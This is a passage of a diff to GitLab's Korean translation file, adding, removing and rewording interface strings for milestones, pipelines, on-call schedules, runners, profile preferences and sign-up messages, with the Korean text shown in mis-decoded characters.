msgstr "마ì¼ìŠ¤í†¤ %{milestoneTitle}를 ì°¾ì„ ìˆ˜ 없습니다"
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17227,12 +17637,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr "최소 길ì´ëŠ” %{minimum_password_length}ìž ìž…ë‹ˆë‹¤."
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr "최소 길ì´ëŠ” %{minimum_password_length}ìž ìž…ë‹ˆë‹¤."
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17290,7 +17694,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17386,6 +17790,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17511,6 +17918,9 @@ msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_si
msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on %{locked_project_count} projects. To unlock them, please purchase additional storage"
msgstr[0] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17544,6 +17954,9 @@ msgstr "로그아웃하고 다른 계정으로 로그ì¸"
msgid "Need help?"
msgstr "ë„ì›€ì´ í•„ìš”í•˜ì‹ ê°€ìš”?"
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17769,7 +18182,7 @@ msgstr "절대 아님"
msgid "New"
msgstr "신규"
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -17920,6 +18333,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18025,9 +18441,6 @@ msgstr "Gitaly Serverì— ì—°ê²°í•  수 없습니다. 로그를 확ì¸í•˜ì‹­ì‹œì˜
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18211,9 +18624,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18250,6 +18660,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr "사용할 수 ì—†ìŒ"
@@ -18268,6 +18681,9 @@ msgstr "ë°ì´í„°ê°€ 충분하지 않습니다."
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18280,6 +18696,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18319,6 +18738,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18355,9 +18777,15 @@ msgstr "실패한 파ì´í”„ë¼ì¸"
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr "머지 리퀘스트(MR) 머지하기"
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr "새 ì—픽"
@@ -18373,6 +18801,9 @@ msgstr "새 노트"
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr "ì´ìŠˆ 재지정"
@@ -18382,6 +18813,9 @@ msgstr "머지 리퀘스트(MR) 재 할당"
msgid "NotificationEvent|Reopen issue"
msgstr "ì´ìŠˆ 다시 열기"
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr "성공ì ì¸ 파ì´í”„ë¼ì¸"
@@ -18508,6 +18942,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18523,9 +18984,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18550,9 +19008,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18565,6 +19020,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18574,7 +19035,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18596,9 +19057,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18680,6 +19138,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr "사ì´ë“œë°” 열기"
@@ -18746,9 +19207,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr "옵션 "
@@ -18794,6 +19252,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -18950,6 +19411,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19064,6 +19528,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19088,9 +19555,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19355,6 +19819,9 @@ msgstr "파ì´í”„ë¼ì¸ 스케쥴"
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19463,9 +19930,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr "CI Lint"
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19511,6 +19975,9 @@ msgstr "파ì´í”„ë¼ì¸ 로딩중"
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19523,6 +19990,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr "프로ì íŠ¸ ìºì‹œê°€ 성공ì ìœ¼ë¡œ 재설정ë˜ì—ˆìŠµë‹ˆë‹¤."
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19532,6 +20002,12 @@ msgstr "파ì´í”„ë¼ì¸ 실행"
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr "Runnerì˜ ìºì‹œë¥¼ ë¹„ìš°ë˜ ì¤‘ 오류가 ë°œìƒí•˜ì˜€ìŠµë‹ˆë‹¤."
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19757,6 +20233,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19766,9 +20245,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr "새 ê³„ì •ì˜ ë¹„ë°€ë²ˆí˜¸ë¥¼ ìƒì„±í•´ì£¼ì„¸ìš”."
@@ -19931,18 +20407,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -19952,9 +20422,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -19976,9 +20443,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20033,6 +20497,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20162,6 +20629,24 @@ msgstr "프로필"
msgid "Profile Settings"
msgstr "프로필 설정"
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20171,6 +20656,9 @@ msgstr "%{yourAccount}를 ì˜êµ¬ì ìœ¼ë¡œ 삭제하려고 합니다. ì´ìŠˆ, 머
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr "ì‚¬ìš©ìž ì´ë¦„ì„ %{currentUsernameBold}ì—ì„œ %{newUsernameBold}으로 변경하려고 합니다. 기존 프로필과 프로ì íŠ¸ë“¤ì€ %{newUsername}으로 리디렉션ë˜ì§€ë§Œ, %{currentUsername}ê°€ 다른 유저나 ê·¸ë£¹ì— ì˜í•´ 등ë¡ë˜ë©´ ë” ì´ìƒ 리디렉션ë˜ì§€ 않습니다. ì‚¬ìš©ìž ì´ë¦„ì„ ë³€ê²½í•œ ë’¤ git ì €ìž¥ì†Œì˜ ë¦¬ëª¨íŠ¸ë¥¼ 변경하세요."
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20201,6 +20689,9 @@ msgstr "아바타가 ì‚­ì œë©ë‹ˆë‹¤. 확실합니까?"
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr "사용ìžëª… 변경"
@@ -20558,9 +21049,6 @@ msgstr "프로ì íŠ¸ 아바타"
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20813,7 +21301,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20855,6 +21346,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -20915,9 +21409,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -20939,6 +21430,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21008,6 +21505,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21389,6 +21889,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr "그룹 ë¼ë²¨ë¡œ 승격"
@@ -21704,6 +22207,9 @@ msgstr "푸쉬 ì´ë²¤íŠ¸"
msgid "Push project from command line"
msgstr "명령줄로 프로ì íŠ¸ 푸쉬"
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr "푸쉬해서 프로ì íŠ¸ ìƒì„±"
@@ -21857,6 +22363,9 @@ msgstr "복구 코드"
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -21939,9 +22448,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22015,6 +22521,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22042,9 +22551,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr "ë‚˜ì¤‘ì— ë‹¤ì‹œ 알림"
@@ -22249,9 +22755,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22267,15 +22770,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr "ì—픽 다시 열기"
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22354,6 +22854,13 @@ msgstr "ë³´ê³ "
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22385,6 +22892,10 @@ msgstr ""
msgid "Reports|Execution time"
msgstr "실행 시간"
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Failure"
msgstr "실패"
@@ -22436,6 +22947,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22466,12 +22980,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr "저장소"
@@ -22499,6 +23019,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22532,10 +23055,10 @@ msgstr ""
msgid "Repository storage"
msgstr "ì €ìž¥ì†Œì˜ ì €ìž¥ê³µê°„"
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22651,12 +23174,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr "헬스 ì²´í¬ ì ‘ê·¼ í† í° ì´ˆê¸°í™”"
@@ -22783,6 +23312,9 @@ msgstr ""
msgid "Retry"
msgstr "재시ë„"
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr "ì´ ìž‘ì—… 재시ë„"
@@ -22820,6 +23352,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22839,6 +23374,9 @@ msgstr[0] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr "검토중"
@@ -22908,6 +23446,9 @@ msgstr "태그없는 작업 실행"
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -22971,12 +23512,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23004,9 +23539,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23109,12 +23641,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr "애플리케ì´ì…˜ 저장"
@@ -23133,7 +23659,7 @@ msgstr "비밀번호 저장"
msgid "Save pipeline schedule"
msgstr "파ì´í”„ë¼ì¸ 스케줄 저장"
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23190,15 +23716,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr "아래로 스í¬ë¡¤"
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr "왼쪽으로 스í¬ë¡¤"
@@ -23301,6 +23821,9 @@ msgstr "프로ì íŠ¸ 검색"
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23340,9 +23863,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23411,6 +23931,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23597,6 +24120,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23760,6 +24286,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -23877,9 +24409,6 @@ msgstr ""
msgid "Select projects"
msgstr "프로ì íŠ¸ ì„ íƒ"
-msgid "Select projects you want to import."
-msgstr "가져오고 ì‹¶ì€ í”„ë¡œì íŠ¸ë¥¼ ì„ íƒí•˜ì„¸ìš”."
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24222,12 +24751,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24270,21 +24793,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "패스워드 설정"
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr "ìƒíƒœ ì´ëª¨ì§€ 추가"
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr "ìƒíƒœ 지우기"
@@ -24303,6 +24835,9 @@ msgstr "ìƒíƒœ 설정"
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr "죄송합니다, ë‹¹ì‹ ì˜ ìƒíƒœë¥¼ 설정할 수 없습니다. 잠시후 다시 ì‹œë„해주세요."
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr "ìƒíƒœê°€ 어떤가요?"
@@ -24399,9 +24934,6 @@ msgstr "ì…œë¡ íŠ¸ëžœì ì…˜"
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr "휴대í°ì„ 분실하거나 ì¼íšŒìš© ë¹„ë°€ë²ˆí˜¸ì— ì ‘ê·¼í•˜ì§€ 못하는 경우 ë‹¤ìŒ ë³µêµ¬ 코드를 한번씩 사용하여 ë‚´ ê³„ì •ì— ë‹¤ì‹œ 접근할 수 있습니다. 복구 코드를 안전한 ê³³ì— ë³´ê´€í•´ì£¼ì„¸ìš”. 그렇지 않으면 ê³„ì •ì— ì ‘ê·¼í•  수 %{b_start}없게%{b_end} ë©ë‹ˆë‹¤."
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24456,13 +24988,16 @@ msgstr "최신 버전 보기"
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24490,6 +25025,9 @@ msgid "Showing %d event"
msgid_plural "Showing %d events"
msgstr[0] "%d ê°œì˜ ì´ë²¤íŠ¸ 표시 중"
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24584,10 +25122,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "가입 제한"
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24638,6 +25179,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr "Slack 어플리케ì´ì…˜"
@@ -24749,9 +25293,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24797,7 +25338,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -24878,10 +25419,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
